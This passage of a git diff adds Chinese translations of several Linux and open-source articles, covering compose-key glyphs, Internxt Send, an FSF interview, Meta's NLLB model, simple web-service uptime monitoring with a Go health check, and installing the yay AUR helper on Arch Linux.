ĭ ŏ ŭ` +* `c + c` = `č` +* `- + <字母>` = `ā ē ī ō ū đ` +* `, + <字母>` = `ą ę į ǫ ų ç ḑ ţ` + +这里仅仅罗列了常见的几个,并不是所有的组合。 + +#### 货币符号 + +得益于组合键,国际银行业务也变得容易: + +* `- + Y` = `¥` +* `- + L` = `£` +* `= + E` = `€` +* `= + L` = `₤` +* `= + N` = `₦` +* `= + R` = `₹` +* `= + W` = `₩` +* `/ + m` = `₥` +* `R + s` = `₨` +* `C + r` = `₢` +* `F + r` = `₣` + +重申,这不是完整的列表,但是一个好的开始。 + +#### 有趣的字形 + +变音符号和货币符号具有实用性,但是组合键也可以用来娱乐: + +* `< + 3` = `♥` +* `< + >` = `⋄` +* `# + q` = `♩` +* `: + )` = `☺` +* `: + (` = `☹` +* `p + o + o` = `💩` + +#### 长寿和繁荣 + +在 Linux 中我最喜欢的“秘密”字形是传统的 Vulcan 称呼,“长寿和繁荣”。 + +* `L + L + A + P` = `🖖` + +### 找到所有的字形 + +通过组合键可以使用更多字形,你可以通过按随机组合序列来发现新的字形。查找字形的一种更有条理的方法是参考位于 `/usr/share/X11/locale/en_US.UTF-8` 中的 `Compose` 文件(需要根据你键盘使用的语言环境调整绝对路径)。 + +这个文件令人崩溃,因为它包含超过 6000 行的组合序列,其中许多是 ASCII 和 Unicode 的复杂组合。要快速轻松地参考常见和基础序列,你可以 [下载我们的组合键速查表][5]。它提供涵盖数学、排版、音乐、箭头、变音符号、货币等的序列。 + +现在你知道了这个秘密,你可以表达更多内容了。 + +*(图片源自:Seth Kenlon, CC BY-SA 4.0)* + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/7/linux-compose-key-cheat-sheet + +作者:[Seth Kenlon][a] +选题:[lkxed][b] +译者:[Donkey](https://github.com/Donkey-Hao) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/linux_keyboard_desktop.png +[2]: https://opensource.com/downloads/linux-compose-key-cheat-sheet +[3]: https://opensource.com/sites/default/files/2022-04/gnome-tweaks-compose.jpeg +[4]: https://opensource.com/sites/default/files/2022-04/kde-settings-input-advanced-compose.jpeg +[5]: https://opensource.com/downloads/linux-compose-key-cheat-sheet diff --git a/published/202207/20220708 Do You Miss Firefox Send- Internxt Send is Ready as a Replacement.md b/published/202207/20220708 Do You Miss Firefox Send- Internxt Send is Ready as a Replacement.md new file mode 100644 index 0000000000..c1bc131418 --- /dev/null +++ b/published/202207/20220708 Do You Miss Firefox Send- Internxt Send is Ready as a Replacement.md @@ -0,0 +1,68 @@ +[#]: subject: "Do You Miss Firefox Send? Internxt Send is Ready as a Replacement" +[#]: via: "https://news.itsfoss.com/internxt-send/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14822-1.html" + +怀念 Firefox Send 吗?不妨试试 Internxt Send 吧 +====== + +> Internxt 发布了一个新产品,它可以让你快速地将加密文件发送给任何人,同时保持你的隐私。嗯,我们只能希望它不会像 Firefox Send 那样关闭吧…… + +![Internxt][1] + +[Internxt][2] 是一个相当新的开源加密云服务,旨在取代大型科技公司的产品。例如,你可以把它作为谷歌的相册和云端硬盘的替代品。 + +它免费提供 10 GB 的容量。所以,如果感兴趣的话,你可以注册个账号试一试。 + +最近,他们还新增了另一个产品 “Internxt Send”,作为 Firefox Send 的替代品,填补这个空缺。 + +唉,说到这里还挺遗憾的,Firefox Send 已停止服务了,不得不说它是一个很好的工具! + +不过,[Internxt Send][3] 让你可以像 Firefox Send 一样安全地发送/共享图像、视频、文档和其他文件。 + +### Internxt Send:一个安全的文件共享服务 + +![][4] + +我在 GitHub 上找不到 Internxt Send 的存储库,但我已经要求他们澄清了。 + +(LCTT 译注:虽然 Internxt 是在 GitHub 上开源的,但是 GitHub 上没有 Internxt Send 这个产品的存储库,产品的介绍里也没有声称它是开源的。) + +正如你所期望的那样,你无需创建帐户即可将文件上传到 Internxt Send。 + +文件上传限制为 5 GB。而且,你不能以任何方式提高这个限制。 + +你可以选择文件,上传并生成共享链接。或者,你也可以直接向收件人发送电子邮件,那样的话,你需要在邮件里分享你的电子邮件地址。 + +![][5] + +有趣的是,它还允许你在这个电子邮件中添加自定义文本。 + +与 Firefox Send 不同的是,你无法修改文件共享链接的到期时间,或者是让它在多次下载后失效。默认情况下,链接会在 15 天后过期,你无法更改这个时间。嗯,这还挺扫兴的。 + +但是,对于那些正在苦苦等待一个加密的共享文件服务的人来说,这可能是一种替代方案。 + +*我认为有更多的 Firefox Send 替代品是件好事!你对 Internxt Send 有何看法?欢迎在下方评论区里和大家分享。* + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/internxt-send/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/wp-content/uploads/2022/07/internxt-send-ft-1.jpg +[2]: https://itsfoss.com/internxt-cloud-service/ +[3]: https://send.internxt.com/ +[4]: https://news.itsfoss.com/wp-content/uploads/2022/07/internxt-send-1024x640.png +[5]: https://news.itsfoss.com/wp-content/uploads/2022/07/internxt-send-screenshot-1024x782.png diff --git a/published/202207/20220708 Meet Free Software Foundation Executive Director Zoë Kooyman.md b/published/202207/20220708 Meet Free Software Foundation Executive Director Zoë Kooyman.md new file mode 100644 index 0000000000..15f63616b7 --- /dev/null +++ b/published/202207/20220708 Meet Free Software Foundation Executive Director Zoë Kooyman.md @@ -0,0 +1,79 @@ +[#]: subject: "Meet Free Software Foundation Executive Director Zoë Kooyman" +[#]: via: "https://opensource.com/article/22/7/meet-fsf-executive-director-zoe-kooyman" +[#]: author: "Seth Kenlon https://opensource.com/users/seth" +[#]: collector: "lkxed" +[#]: translator: "TravinDreek" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14844-1.html" + +自由软件基金会执行董事 Zoë Kooyman 专访 +====== + +![](https://img.linux.net.cn/data/attachment/album/202207/19/151615wnr8m4l8yotr6hp8.jpg) + +> 了解一下自由软件基金会(FSF)。 + +早在 1985 年,[自由软件基金会][2](FSF)就开始提倡源代码共享的理念,并从此打响了为计算机用户和开发者捍卫权利的斗争。FSF 认为,用“开放Open”和“封闭Closed”这两个词来划分软件,十分具有局限性;于是,在为程序分类时,转而使用了以下词语:*尊重自由*(这个“自由free”或这个“自由Libre”)或*践踏自由*(“非自由non-free”或“专有proprietary”)。不管用语如何,关键之处在于,计算机必须受用户控制,而不是任由开发了计算机软件的公司来摆布。正因如此,GNU 工程、Linux 内核、Freedesktop.org 等众多自由软件项目,才会如此重要。 + +最近,FSF 新上任了一位执行董事,她叫 Zoë Kooyman。我初见 Zoë 时,是在 2019 年的一个 [All Things Open][3] 大会上。当然,那个时候她还不是 FSF 的执行董事,不过已经在管理 FSF 不断增长的重大活动了 —— 包括 [LibrePlant][4]。她之前递给我了一份自由软件作者的名单,名单长得一眼望不尽,而且那些软件都是我*每天*在用的。由此,我也很受她那充沛的精力和诚恳的态度所打动。我只是偶然参加了一次 FSF 的聚会,但最后却和那些人成了朋友。是他们让我的数字生活有了意义,是他们保障了我能够拥有 Zoë 和 FSF 所说的 [四项基本自由][5]: + +* 无论用户出于何种目的,用户必须可以按照自己的意愿,自由地运行该软件(自由之零)。 +* 用户可以自由地学习并修改该软件,使它按照你的意愿进行计算(自由之一)。作为前提,用户必须可以得到该软件的源代码。 +* 用户可以自由地分发该软件的副本,这样就可以帮助别人(自由之二)。 +* 用户可以自由地分发该软件修改后的副本(自由之三)。借此,用户可以把改进后的软件分享给整个社区,令他人也从中受益。作为前提,用户必须可以得到该软件的源代码。 + +听说了 Zoë 受任为执行董事后,我给她发了一封邮件,提出想和她进行一次采访。她十分热心,在百忙之中抽出了一点时间来和我畅谈。 + +**Seth Kenlon:你当上 FSF 的执行董事了!你是怎么走到今天的呢?** + +**Zoë Kooyman:** 在我的工作生涯中,我最开始是一位活动组织者。我环游世界,举办着一些世界上最大的音乐节目。在不断变更的地点、各具特色的文化中工作,是十分有趣的,因为不管是演出、技艺还是别的现场元素,所有各异的制作元素都结合在一起了。让一切事物都在恰当时候安排到位,就像是耍杂技一样。很多时候,我都是在不同的国家生活和工作。多亏了我的工作,我才能学到这么多的组织和交流的技巧。我也对不同形式的媒体有过研究和工作,了解它们的体验,以及它们与社会的关系。 + +大学时期,我第一次了解到了“左版copyleft”(LCTT 译注:与版权copyright相对。是一种分享软件的思想和方法;简而言之,其目的是保障一款软件对其每一位接收者来说都是自由的),它是关于我们如何才能使用现有的结构来造福自己,并推动变革的。也正是在那时,媒体(以及互联网和软件)的格局开始迅速变化,而这种变化却是以自由为代价的。搬到美国后,我的生活变了许多。在美国,我对社会责任问题有了更加强烈的紧迫感,因此我决定为此付诸行动。我很感激 John Sullivan(时任 FSF 执行董事),他根据我对自由软件的了解以及我在活动组织方面的经验聘任了我,由此我也得以把这两方面的能力结合到一起。 + +**Seth:你是如何了解到自由软件的?** + +**Zoë:** 我们常常会觉得,自由软件主要影响的是懂技术的人。但是,自由软件运动的目的是捍卫每一位计算机用户的自由。其实,软件自由影响着边缘化社区(LCTT 译注:因条件受限或受到排斥等,落后于主流社会的发展,而被置于社会边缘的群体)的成员,他们很少有机会使用计算机。而软件也塑造了他们的生活。 + +GNU 工程和左版的概念所取得的成就是十分卓越的。去真正观察社会发展的方向,然后说:“不一定非得那样才行,我们可以把事情掌握在自己手中。”这在早期改变了我的人生观。我开始有了一种想法,把现有的材料用起来,再把它重新引入不同的亚文化之中。在娱乐行业,这已是家常便饭。从他人的作品中得到灵感,并基于此创造新的作品,其结果就是对我们所处时代的反映,同时也是对历史的致敬。没有这般自由,也不会有真正的进步。 + +谈谈我对电影版权的看法吧。我曾经与荷兰电影研究所合作,做了一个由许多“孤立的电影片段”组合而成的混剪。然后,在一次有几千名年轻人参加的大型舞蹈活动中,那个混剪就在一个 170 米的全景屏幕上播放了,而且还有现场 DJ 在配合演奏。他们之后也经常在别的活动中播放它,比如说荷兰的 博物馆之夜Museumnacht。 + +我并不懂技术,于是我通过文化来表达了这些观点。但这些年来,我越来越多地接触到了自由软件的思想。我于是意识到,随着软件不断融入我们的生活(有时还是身体),为自由软件而战的重要性正日益凸显。在当今的世界,专有软件处于称霸地位,我们社会的发展呈现出以利益驱动、为少数人着想的趋势,而这种趋势是以多数人的自由为代价的。如果没有自由软件,生活中的许多方面、社会的许多重要事业,就不可能真正取得成功。 + +**Seth:** 你是什么时候加入 FSF 的? + +**Zoë:** 在 2019 年初,LibrePlanet 最后一期现场版的前一周(LCTT 译注:LibrePlant 之后因为疫情而改成了线上活动)。 + +**Seth:** 是什么吸引了你去担任执行董事这一职位? + +**Zoë:** FSF 只是一个致力于让社会更加公平、更加协作、更加理解软件的组织,但它长期以来一直是这场运动的核心。社会正在迅速变化,而许多人却还没准备好如何应对当今社会的数字产物,例如软件。这是一项十分重要的工作,但是去做这项工作的人还是太少了。能有一个组织来应对未来的各种挑战,这是十分重要的。 + +执行董事这一职位,在某种程度上,不过是辅助工作人员和社区的角色,好让他们为自由软件作出关键的改变。我相信,我们继续传播自由软件的思想,是非常重要的;并且,有了 FSF 的团队协助,我也相信,我能利用好工作在不同文化和人群中的经验,以及组织高挑战性的全球项目的经验,来使我们发挥出最大的潜能。我的这项决定,得到了来自工作人员、管理层和社区和董事会的支持,由此我相信,这个决定是正确的。 + +**Seth:** 你认为当今的软件自由,面临的最大的挑战是什么?FSF 在应对这些挑战的时候,应该承担怎样的使命? + +**Zoë:** 随着软件越来越多地融入了社会的基本结构,软件也更加无形了。如今,软件的存在是如此的广泛,我们却习惯性地忽视它。我们只关注着程序的功能,却无视了实现这种功能的手段,更别说它尊不尊重你作为一位用户的自由了。而与此同时,软件又比以往任何时候都更快的扩散。如果人们无法理解程序是如何构成的,而只是整天地用着这些程序,那我们该怎么向他们解释,他们正遭受着不公呢? + +FSF 的职责就是,让每个人重新谈起用户自由,并提醒人们,我们所使用的工具并没有那么好。因此,教育行业和政府的认可是十分重要的。如果我们让人们关注软件自由在这些领域的问题,那我们必将取得成效。通过教育,我们可以确保后代也有选择自由的权利;而政府采用自由软件,可以保护公民免遭专有软件的不正影响(维护数字主权)。 + +我们可以告诉人们,当今社会给我们灌输了错误的观点:你的自由受到侵犯是正常的,毕竟事情“太复杂,你理解不了”。如果你想要图个便利,想要相互联系,或者就是想要满足你的需求,那你就得相信这些组织,按照他们的意愿来。这是不对的。我们整个社区都相信,我们能构建一个无需抛弃自由也能处在其中的社会。并且我们也有这样的法律框架来支持我们的观点。每天,不同背景、不同能力的人都加入我们的对话,越来越多的人关心自己的自由,并且每个人都是出于真心的。我们每天都在学习如何去保护自己以及他人,并且我也希望,未来能够更加自由。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/7/meet-fsf-executive-director-zoe-kooyman + +作者:[Seth Kenlon][a] +选题:[lkxed][b] +译者:[Peaksol](https://github.com/TravinDreek) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/dandelion_zoom.jpg +[2]: https://www.fsf.org/ +[3]: https://www.allthingsopen.org/ +[4]: https://libreplanet.org +[5]: https://www.gnu.org/philosophy/free-sw.en.html diff --git a/published/202207/20220708 Meta-s AI Model That Helps Overcome Language Barrier Is Now Open-Source.md b/published/202207/20220708 Meta-s AI Model That Helps Overcome Language Barrier Is Now Open-Source.md new file mode 100644 index 0000000000..df302ffce7 --- /dev/null +++ b/published/202207/20220708 Meta-s AI Model That Helps Overcome Language Barrier Is Now Open-Source.md @@ -0,0 +1,69 @@ +[#]: subject: "Meta’s AI Model That Helps Overcome Language Barrier Is Now Open-Source" +[#]: via: "https://news.itsfoss.com/meta-open-source-ai-model/" +[#]: author: "Rishabh Moharir https://news.itsfoss.com/author/rishabh/" +[#]: collector: "lkxed" +[#]: translator: "fenglyulin" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14812-1.html" + +Meta 开源了语言翻译 AI 模型 +====== + +> Meta 的 “不落下任何语言No Language Left Behind” 是一个宏大的开源项目,旨在以最高准确度翻译语言。 + +![meta][1] + +Meta(前身是 Facebook)在开源世界做出了不小的贡献。Meta 除了专注于元宇宙Metaverse和其社交媒体平台外,还致力于各种研究和创新工作,比如 React(一个 JaveScript 库)。 + +现在,Meta 的研究人员决定开源一个叫 “不落下任何语言No Language Left Behind” 项目。 + +(LCTT 校注:这个直译项目名称不够好听,我来抛砖引玉,似可称做“无人独语”,读者有什么建议吗?) + +### Meta 试图不落下任何语言 + +![200 languages within a single AI model: A breakthrough in high-quality machine translation][2] + +目前,虽然世界上有大约 7000 个在使用中的语言,但大多数在线的内容都是以少数的流行语言来提供的,比如英语。这让许多不懂这些语言的人处于不利的地位。 + +虽然现存的许多翻译工具,但语法错误会让错误变得难以阅读和理解。另外,如果你想把内容翻译为一个不流行的语言(特别是非洲和亚洲的一些语言),翻译体验不会很好。 + +因此,Meta 正在开发有最高质量的翻译工具,可以帮助解决这一全球性的问题。 + +NLLB-200(不落下任何语言No Language Left Behind) 是一个人工智能翻译模型,其可以翻译 200 多种语言。该模型在每种语言中的翻译结果是通过一个名为 FLORES-200 复杂数据集来确定和评估的。 + +正如 Meta 所说,NLLB 的翻译结果比以前的人工智能研究方法好 40% 。对于一些最不常见的语言,其翻译准确率甚至超过 70%。了不起的工作! + +为了帮助开发项目和提高模型的翻译质量,Meta 向所有感兴趣的研究人员开放了源代码,包括 NLLB-200 模型、FLORES-200 数据库、模型训练和重建训练数据库的代码。 + +你可以在 [GitHub][3] 上找到源代码,并且可以在该项目的 [博客][4] 上了解它的更多信息。 + +### 对社会事业的鼓励 + +Meta 宣布向从事联合国可持续发展目标UN Sustainable Development Goals任何领域工作和翻译非洲语言的非营利组织和研究人员提供高达 20 万美元的捐赠,也鼓励其他学术领域如语言学和机器翻译的研究人员申请。 + +### 项目的影响 + +尽管 Meta 主要打算在其数字平台上,特别是在“元宇宙”上使用 NLLB,但 NLLB 也有可能在其他领域产生巨大影响。 + +许多用户可以用他们的母语轻松地访问和阅读在线资源。项目开源后,社区应该能够帮助实现这个目标。 + +*你对 Meta 的这个项目有什么看法?* + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/meta-open-source-ai-model/ + +作者:[Rishabh Moharir][a] +选题:[lkxed][b] +译者:[fenglyulin](https://github.com/fenglyulin) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/rishabh/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/wp-content/uploads/2022/07/meta-makes-ai-language-model-opensource.jpg +[2]: https://youtu.be/uCxSPPiwrNE +[3]: https://github.com/facebookresearch/fairseq/tree/nllb +[4]: https://ai.facebook.com/blog/nllb-200-high-quality-machine-translation/ diff --git a/published/202207/20220709 Monitoring tiny web services.md b/published/202207/20220709 Monitoring tiny web services.md new file mode 100644 index 0000000000..1b57dfc0d3 --- /dev/null +++ b/published/202207/20220709 Monitoring tiny web services.md @@ -0,0 +1,141 @@ +[#]: subject: "Monitoring tiny web services" +[#]: via: "https://jvns.ca/blog/2022/07/09/monitoring-small-web-services/" +[#]: author: "Julia Evans https://jvns.ca/" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14840-1.html" + +如何监测微型的网站服务 +====== + +![](https://img.linux.net.cn/data/attachment/album/202207/18/105829gzviausw5wg7wwxb.jpg) + +你好! 我最近又开始运行一些服务器([nginx playground][1]、[mess with dns][2]、[dns lookup][3]),所以我一直在考虑监控问题。 + +最初我并不完全清楚如何监控这些网站,所以我想快速写下我是如何做到的。 + +我根本不打算谈如何监控大型的、严肃的关键任务网站,只谈微型的不重要的网站。 + +### 目标:在操作上几乎不花时间 + +我希望网站大部分时间都能正常工作,但我也希望不用在持续的运营上花费时间。 + +我最初对运行服务器非常警惕,因为在我的上一份工作中,我是 24/7 轮流值班,负责一些关键的服务,在我的印象中,“负责服务器”意味着“在凌晨 2 点被叫起来修理服务器”和“有很多复杂的仪表盘”。 + +所以有一段时间我只做静态网站,这样我就不用考虑服务器的问题。 + +但最终我意识到,我所要写的任何服务器的风险都很低,如果它们偶尔宕机 2 小时也没什么大不了的,我只需设置一些非常简单的监控来帮助它们保持运行。 + +### 没有监控很糟糕 + +起初,我根本没有为我的服务器设置任何监控。这样做的结果是非常可预见的:有时网站坏了,而我却没有发现,直到有人告诉我! + +### 步骤 1:uptime 检查器 + +第一步是建立一个 uptime 检查器。外面有很多这样的东西,我现在使用的是 [updown.io][4] 和 [uptime robot][5]。我更喜欢 updown 的用户界面和 [定价][6] 结构(它是按请求而不是按月收费),但 uptime 机器人有一个更慷慨的免费套餐。 + +它们会: + + 1. 检查网站是否正常 + 2. 如果出现故障,它会给我发电子邮件 + +我发现电子邮件通知对我来说是一个很好的通知级别,如果网站宕机,我会很快发现,但它不会吵醒我或做其它的什么打扰。 + +### 步骤 2:端到端的健康检查 + +接下来,让我们谈谈“检查网站是否正常”到底是什么意思。 + +起初,我只是把我的健康检查端点之一变成一个函数,无论如何都会返回 `200 OK`。 + +这倒是挺有用的 – 它告诉我服务器是启动着的! + +但不出所料,我遇到了问题,因为它没有检查 API 是否真的在 _工作_ – 有时健康检查成功了,尽管服务的其他部分实际上已经进入了一个糟糕的状态。 + +所以我更新了它,让它真正地发出 API 请求,并确保它成功了。 + +我所有的服务都只做了很少的事情(nginx playground 只有一个端点),所以设置一个健康检查是非常容易的,它实际上贯穿了服务应该做的大部分动作。 + +下面是 nginx playground 的端到端健康检查处理程序的样子。它非常基本:它只是发出一个 POST 请求(给自己),并检查该请求是成功还是失败。 + +``` + + func healthHandler(w http.ResponseWriter, r *http.Request) { + // make a request to localhost:8080 with `healthcheckJSON` as the body + // if it works, return 200 + // if it doesn't, return 500 + client := http.Client{} + resp, err := client.Post("http://localhost:8080/", "application/json", strings.NewReader(healthcheckJSON)) + if err != nil { + log.Println(err) + w.WriteHeader(http.StatusInternalServerError) + return + } + if resp.StatusCode != http.StatusOK { + log.Println(resp.StatusCode) + w.WriteHeader(http.StatusInternalServerError) + return + } + w.WriteHeader(http.StatusOK) + } + +``` + +### 健康检查频率:每小时一次 + +现在,我大部分健康检查每小时运行一次,有些每 30 分钟运行一次。 + +我每小时运行一次,因为 updown.io 的定价是按健康检查次数计算的,我正在监控 18 个不同的 URL,而且我想把我的健康检查预算保持在 5 美元/年的最低水平。 + +花一个小时来发现这些网站中的一个出现故障,对我来说是可以的 – 如果有问题,我也不能保证能很快修复它。 + +如果可以更频繁地运行它们,我可能会每 5-10 分钟运行一次。 + +### 步骤 3:第三步:如果健康检查失败,自动重新启动 + +我的一些网站在 fly.io 上,fly 有一个相当标准的功能,我可以为一个服务配置一个 HTTP 健康检查,如果健康检查失败,就重新启动服务。 + +“经常重启”是一个非常有用的策略来弥补我尚未修复的 bug,有一段时间,nginx playground 有一个进程泄漏,`nginx` 进程没有被终止,所以服务器的内存一直在耗尽。 + +通过健康检查,其结果是,每隔一天左右就会发生这样的情况: + + * 服务器的内存用完了 + * 健康检查开始失败 + * 它被重新启动 + * 一切又正常了 + * 几个小时后再次重复整个传奇 + +最终,我开始实际修复进程泄漏,但很高兴有一个解决方法可以在我拖延修复 bug 时保持运行。 + +这些用于决定是否重新启动服务的运行状况检查更频繁地运行:每 5 分钟左右。 + +### 这不是监控大型服务的最佳方式 + +这可能很明显,我在一开始就已经说过了,但是“编写一个 HTTP 健康检查”并不是监控大型复杂服务的最佳方法。 但我不会深入讨论,因为这不是这篇文章的主题。 + +### 到目前为止一直运行良好! + +我最初在 3 个月前的四月写了这篇文章,但我一直等到现在才发布它以确保整个设置正常工作。 + +这带来了很大的不同 – 在我遇到一些非常愚蠢的停机问题之前,现在在过去的几个月里,网站的运行时间达到了 99.95%! + +-------------------------------------------------------------------------------- + +via: https://jvns.ca/blog/2022/07/09/monitoring-small-web-services/ + +作者:[Julia Evans][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://jvns.ca/ +[b]: https://github.com/lujun9972 +[1]: https://nginx-playground.wizardzines.com +[2]: https://messwithdns.net +[3]: https://dns-lookup.jvns.ca +[4]: https://updown.io/ +[5]: https://uptimerobot.com/ +[6]: https://updown.io/#pricing diff --git a/published/202207/20220710 How to Install yay AUR Helper in Arch Linux [Beginner-s Guide].md b/published/202207/20220710 How to Install yay AUR Helper in Arch Linux [Beginner-s Guide].md new file mode 100644 index 0000000000..71da71927e --- /dev/null +++ b/published/202207/20220710 How to Install yay AUR Helper in Arch Linux [Beginner-s Guide].md @@ -0,0 +1,167 @@ +[#]: subject: "How to Install yay AUR Helper in Arch Linux [Beginner’s Guide]" +[#]: via: "https://www.debugpoint.com/install-yay-arch/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14846-1.html" + +初级:如何在 Arch Linux 中安装 Yay AUR 助手 +====== + +![](https://www.debugpoint.com/wp-content/uploads/2021/01/yay2021.jpg) + +> 这个初学者指南解释了在 Arch Linux 中安装 Yay AUR 助手的步骤。 + +Yay 是 “Yet Another Yogurt” 的缩写(LCTT 校注:Yogurt 是另外一个已经停止维护的 AUR 助手)。从技术上讲,它是用 [Go 编程语言][2] 编写的 [pacman][1] 封装器和 AUR 助手。它是当今最流行的 [Arch 用户仓库(AUR)][3] 助手。使用 Yay,你可以利用庞大的 Arch 用户软件包库并轻松编译和安装任何软件。 + +它可以自动执行许多包管理任务,例如搜索、动态解决依赖关系、编译和构建包,当然还有在 AUR 发布包。 + +让我们看看如何在 Arch Linux 或任何基于 Arch 的发行版(如 Manjaro)中安装 Yay。安装 Arch Linux 后,你可以通过 pacman 包管理器从三个主要的 Arch 官方仓库安装包。但是在全新的 Arch Linux 安装后,默认情况下不会安装 Yay。因此,你需要手动安装它以利用 AUR。 + +本指南涵盖以下主题: + +* 在 Arch Linux 中安装 Yay +* 在 Manjaro 中安装 Yay +* 如何在 Arch Linux 和 Manjaro 中使用 Yay 安装包 +* 一些 Yay 的技巧 + +### 在 Arch Linux 中安装 Yay + +#### 先决条件 + +打开终端并运行以下命令。出现提示时提供管理员密码。这些步骤需要 [base-devel][4] 包和 git 包进行编译和安装。 + +``` +sudo pacman -S base-devel +``` + +``` +sudo pacman -S git +``` + +![Install git][5] + +#### 安装 Yay + +`yay` 包在 Arch 仓库中有两个版本,如下所示。 + +- [yay][6] – 稳定版 +- [yay-git][7]– 开发版 + +对于本指南,我使用了稳定版。现在,进入 `/opt` 目录并克隆 git 仓库。 + +``` +cd /opt +sudo git clone https://aur.archlinux.org/yay.git +``` + +![clone the yay repo][8] + +更改源目录的所有者。将 `debugpoint` 替换为你的用户名。 + +``` +sudo chown -R debugpoint:users ./yay +``` + +如果你不知道用户或组,可以使用以下示例查找用户和组。 + +``` +id debugpoint +``` + +进入目录并编译。 + +``` +cd yay +``` + +``` +makepkg -si +``` + +这样就完成了 Arch Linux 中 Yay 的安装。 + +![Install yay in Arch Linux][9] + +### 在 Manjaro 中安装 Yay + +如果你使用 Manjaro Linux,`yay` 包可以在社区仓库中找到。你可以在 Manjaro 中使用以下命令轻松安装。 + +``` +pacman -Syyupacman -S yay +``` + +现在,让我们看看如何使用 Yay 安装任何软件包,以及一些基本的 `yay` 用法。 + +### 如何使用 Yay 安装包 + +首先在 AUR 网站上搜索安装任何应用以获取包名。例如,要安装 [featherpad][10] 文本编辑器,请运行以下命令。 + +``` +yay -S featherpad +``` + +安装后,你可以在应用菜单中找到应用启动器。 + +![Install a sample application (featherpad) using yay][11] + +### 一些 Yay 的技巧 + +你还可以使用 yay 进行许多调整和系统操作。下面是一些示例。 + +**刷新系统包并升级**: + +``` +yay -Syu +``` + +**使用包的开发版本并升级(运行此命令时要小心)**: + +``` +yay -Syu --devel --timeupdate +``` + +**删除任何包(例如,featherpad)**: + +``` +yay -Rns featherpad +``` + +**快速获取系统统计信息**: + +![system stat using yay][12] + +``` +yay -Ps +``` + +我希望这个初学者指南能帮助你在 [Arch Linux][13] 中安装 Yay,然后使用 Yay 安装包,并执行不同的系统操作。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/install-yay-arch/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://wiki.archlinux.org/index.php/pacman +[2]: https://golang.org/ +[3]: https://wiki.archlinux.org/index.php/Arch_User_Repository +[4]: https://aur.archlinux.org/packages/meta-group-base-devel/ +[5]: https://www.debugpoint.com/wp-content/uploads/2021/01/Install-git-1024x291.png +[6]: https://aur.archlinux.org/packages/yay/ +[7]: https://aur.archlinux.org/packages/yay-git/ +[8]: https://www.debugpoint.com/wp-content/uploads/2021/01/clone-the-yay-repo-1024x271.png +[9]: https://www.debugpoint.com/wp-content/uploads/2021/01/Install-yay-in-Arch-Linux-1024x460.png +[10]: https://aur.archlinux.org/packages/featherpad-git/ +[11]: https://www.debugpoint.com/wp-content/uploads/2021/01/Install-a-sample-application-featherpad-using-yay-1024x620.png +[12]: https://www.debugpoint.com/wp-content/uploads/2021/01/system-stat-using-yay.png +[13]: https://www.debugpoint.com/tag/arch-linux/ diff --git a/published/202207/20220711 7 Reasons Why Ubuntu 22.04 LTS is the Most Secure Release Yet.md b/published/202207/20220711 7 Reasons Why Ubuntu 22.04 LTS is the Most Secure Release Yet.md new file mode 100644 index 0000000000..921d3e23c5 --- /dev/null +++ b/published/202207/20220711 7 Reasons Why Ubuntu 22.04 LTS is the Most Secure Release Yet.md @@ -0,0 +1,141 @@ +[#]: subject: "7 Reasons Why Ubuntu 22.04 LTS is the Most Secure Release Yet" +[#]: via: "https://news.itsfoss.com/reasons-ubuntu-22-04-secure/" +[#]: author: "Jacob Crume https://news.itsfoss.com/author/jacob/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14820-1.html" + +Ubuntu 22.04 LTS 是目前最安全的版本的七大原因 +====== + +> Ubuntu 22.04 LTS 是迄今为止最好的 Ubuntu 版本之一。是什么让它如此安全? + +![ubuntu 22.04][1] + +早在今年 4 月就发布了的 [Ubuntu 22.04 LTS][2],是迄今为止最安全的 Ubuntu 版本。 + 